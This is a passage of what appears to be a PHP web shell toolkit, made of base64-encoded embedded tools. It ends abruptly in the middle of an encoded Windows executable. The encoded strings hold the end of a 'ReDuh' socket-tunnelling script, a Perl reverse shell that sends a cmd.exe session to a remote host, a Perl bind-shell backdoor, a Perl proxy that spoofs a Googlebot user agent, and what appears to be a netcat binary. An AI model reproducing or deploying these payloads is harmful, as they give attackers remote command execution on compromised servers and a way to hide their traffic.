D0gJF9SRVFVRVNUWyd0YXJnZXRIb3N0J107CgkJCSR0YXJnZXRQb3J0ID0gJF9SRVFVRVNUWyd0YXJnZXRQb3J0J107CgoJCQkkbXNnID0gImNyZWF0ZVNvY2tldDoiLiRzb2NrZXROdW1iZXIuIjoiLiR0YXJnZXRIb3N0LiI6Ii4kdGFyZ2V0UG9ydDsKCgkJCXNlbmRfY29tbWFuZCgkc2VydmljZVBvcnQsJG1zZyk7CgoJCQllY2hvICJTdWNjZXNzXG4iOwoJCX0KCQllbHNlIGlmKCRfUkVRVUVTVFsnYWN0aW9uJ10gPT0gIm5ld0RhdGEiKQoJCXsKCQkJJHNlcnZpY2VQb3J0ID0gJF9SRVFVRVNUWydzZXJ2aWNlUG9ydCddOwoJCQkkc29ja2V0TnVtYmVyID0gJF9SRVFVRVNUWydzb2NrZXROdW1iZXInXTsKCQkJJHRhcmdldEhvc3QgPSAkX1JFUVVFU1RbJ3RhcmdldEhvc3QnXTsKCQkJJHRhcmdldFBvcnQgPSAkX1JFUVVFU1RbJ3RhcmdldFBvcnQnXTsKCQkJJGRhdGEgPSAkX1JFUVVFU1RbJ2RhdGEnXTsKCgkJCSRtc2cgPSAibmV3RGF0YToiLiRzb2NrZXROdW1iZXIuIjoiLiR0YXJnZXRIb3N0LiI6Ii4kdGFyZ2V0UG9ydC4iOiIuJGRhdGE7CgoJCQlzZW5kX2NvbW1hbmQoJHNlcnZpY2VQb3J0LCRtc2cpOwoKCQkJZWNobyAiU3VjY2Vzc1xuIjsKCQl9CgkJZWxzZQoJCXsKCQkJZXJyb3Jsb2coIlVua25vd24gYWN0aW9uICciLiRfUkVRVUVTVFsnYWN0aW9uJ10uIiciKTsKCQkJZWNobyAiVW5rbm93biBhY3Rpb24gJyIuJF9SRVFVRVNUWydhY3Rpb24nXS4iJ1xuIjsKCQl9Cgl9IAoJZWxzZQoJewoJCWVjaG8gIlVua25vd24gcmVxdWVzdCB0byBSZUR1aCFcbiI7Cgl9Cj8+Cj==";
$winback_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCg0KJHN5c3RlbSA9ICdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUnOw0KJEFSR0M9QEFSR1Y7IA0KaWYgKCRBUkdDIT0yKSB7IA0KcHJpbnQgIlVzYWdlOiAkMCBbSG9zdF0gW1BvcnRdIFxuXG4iOyANCmRpZSAiRXg6ICQwIDEyNy4wLjAuMSAyMTIxIFxuIjsgDQp9IA0KdXNlIFNvY2tldDsgDQp1c2UgRmlsZUhhbmRsZTsgDQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOyANCmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkQVJHVlsxXSwgaW5ldF9hdG9uKCRBUkdWWzBdKSkpIG9yIGRpZSBwcmludCAiWy1dIFVuYWJsZSB0byBDb25uZWN0IEhvc3RcbiI7IA0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaEVMTCBcbiI7DQpTT0NLRVQtPmF1dG9mbHVzaCgpOyANCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOyANCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOyANCm9wZW4oU1RERVJSLCI+JlNPQ0tFVCIpOyANCnN5c3RlbSgkc3lzdGVtKTsNCiNFT0Y=";
$winbind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9ImM6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9";
$proxy_pl="IyF1c3IvYmluL3BlcmwNCnVzZSBTb2NrZXQ7DQpteSAkcG9ydCA9ICRBUkdWWzBdfHwzMTMzNzsNCm15ICRwcm90b2NvbCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsNCm15ICRteV9hZGRyICA9IHNvY2thZGRyX2luICgkcG9ydCwgSU5BRERSX0FOWSk7DQpzb2NrZXQgKFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG9jb2wpIG9yIGRpZSAic29ja2V0KCk6ICQhIjsNCnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsNCmJpbmQgKFNPQ0ssICRteV9hZGRyKSBvciBkaWUgImJpbmQoKTogJCEiOw0KbGlzdGVuIChTT0NLLCBTT01BWENPTk4pIG9yIGRpZSAibGlzdGVuKCk6ICQhIjsNCiRTSUd7J0lOVCd9ID0gc3ViIHsNCmNsb3NlIChTT0NLKTsNCmV4aXQ7DQp9Ow0Kd2hpbGUgKDEpIHsNCm5leHQgdW5sZXNzIG15ICRyZW1vdGVfYWRkciA9IGFjY2VwdCAoU0VTU0lPTiwgU09DSyk7DQpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOw0KaWYob3Blbl9jb25uZWN0aW9uIChSRU1PVEUsICRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9PSAwKSB7DQpjbG9zZSAoU0VTU0lPTik7DQpuZXh0Ow0KfQ0KcHJpbnQgUkVNT1RFICRmaXJzdDsNCnByaW50IFJFTU9URSAiVXNlci1BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7DQp3aGlsZSAoPFNFU1NJT04+KSB7DQpuZXh0IGlmICgvUHJveHktQ29ubmVjdGlvbjovIHx8IC9Vc2VyLUFnZW50Oi8pOw0KcHJpbnQgUkVNT1RFICRfOw0KbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQp9DQpwcmludCBSRU1PVEUgIlxuIjsNCiRoZWFkZXIgPSAxOw0Kd2hpbGUgKDxSRU1PVEU+KSB7DQpwcmludCBTRVNTSU9OICRfOw0KaWYgKCRoZWFkZXIpIHsgICAgIA0KaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KJGhlYWRlciA9IDA7DQp9DQp9DQp9DQpjbG9zZSAoUkVNT1RFKTsNCmNsb3NlIChTRVNTSU9OKTsNCn0NCmNsb3NlIChTT0NLKTsNCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCwgJG1ldGhvZCk7DQokZmlyc3QgPSA8U0VTU0lPTj47DQokdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KKCRtZXRob2QsICRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IA0KKCRmaXJzdCA9fiBtIShHRVQpIGh0dHA6Ly8oW14vOl0rKTo/KFxkKikhICk7DQppZiAoISRyZW1vdGVfaG9zdCkgew0KY2xvc2UoU0VTU0lPTik7DQpleGl0Ow0KfQ0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsNCiRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KcmV0dXJuICgkZmlyc3QsICRtZXRob2QsICRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KTsNCn0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KbXkgKCRob3N0LCAkcG9ydCkgPSBAX1sxLDJdOw0KbXkgKCRkZXN0X2FkZHIsICRjdXIpOw0KaWYgKCRwb3J0ICF+IC9eXGQrJC8pIHsNCiRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOw0KfQ0KJGhvc3QgPSBpbmV0X2F0b24gKCRob3N0KSBvciByZXR1cm4gMDsNCiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsNCnNvY2tldCAoJF9bMF0sIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG9jb2wpIG9yIGRpZSAic29ja2V0KCkgOiAkISI7DQpjb25uZWN0ICgkX1swXSwgJGRlc3RfYWRkcikgb3IgcmV0dXJuIDA7DQokY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KJHwgPSAxOw0Kc2VsZWN0KCRjdXIpOw0KcmV0dXJuIDE7DQp9";
$nc="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADaaQPOnghtnZ4IbZ2eCG2dmwQNnZwIbZ2bBGKdjQhtnY0ABJ2UCG2dnghsnfkIbZ0dADCdmwhtnZsEMp3JCG2dmwQ3nZ8IbZ1SaWNonghtnQAAAAAAAAAAUEUAAEwBAwBU8tJBAAAAAAAAAADgAA8BCwEHCgCgAAAAUAAAAAAAAMNKAAAAEAAAALAAAAAAQAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAAAEAABAAAAAAAAADAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADY0AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkLEAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA40AAASAAAAAAAAAAAAAAAALAAAIwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAG6ZAAAAEAAAAKAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAACqJwAAALAAAAAwAAAAsAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAABB4AAADgAAAAEAAAAOAAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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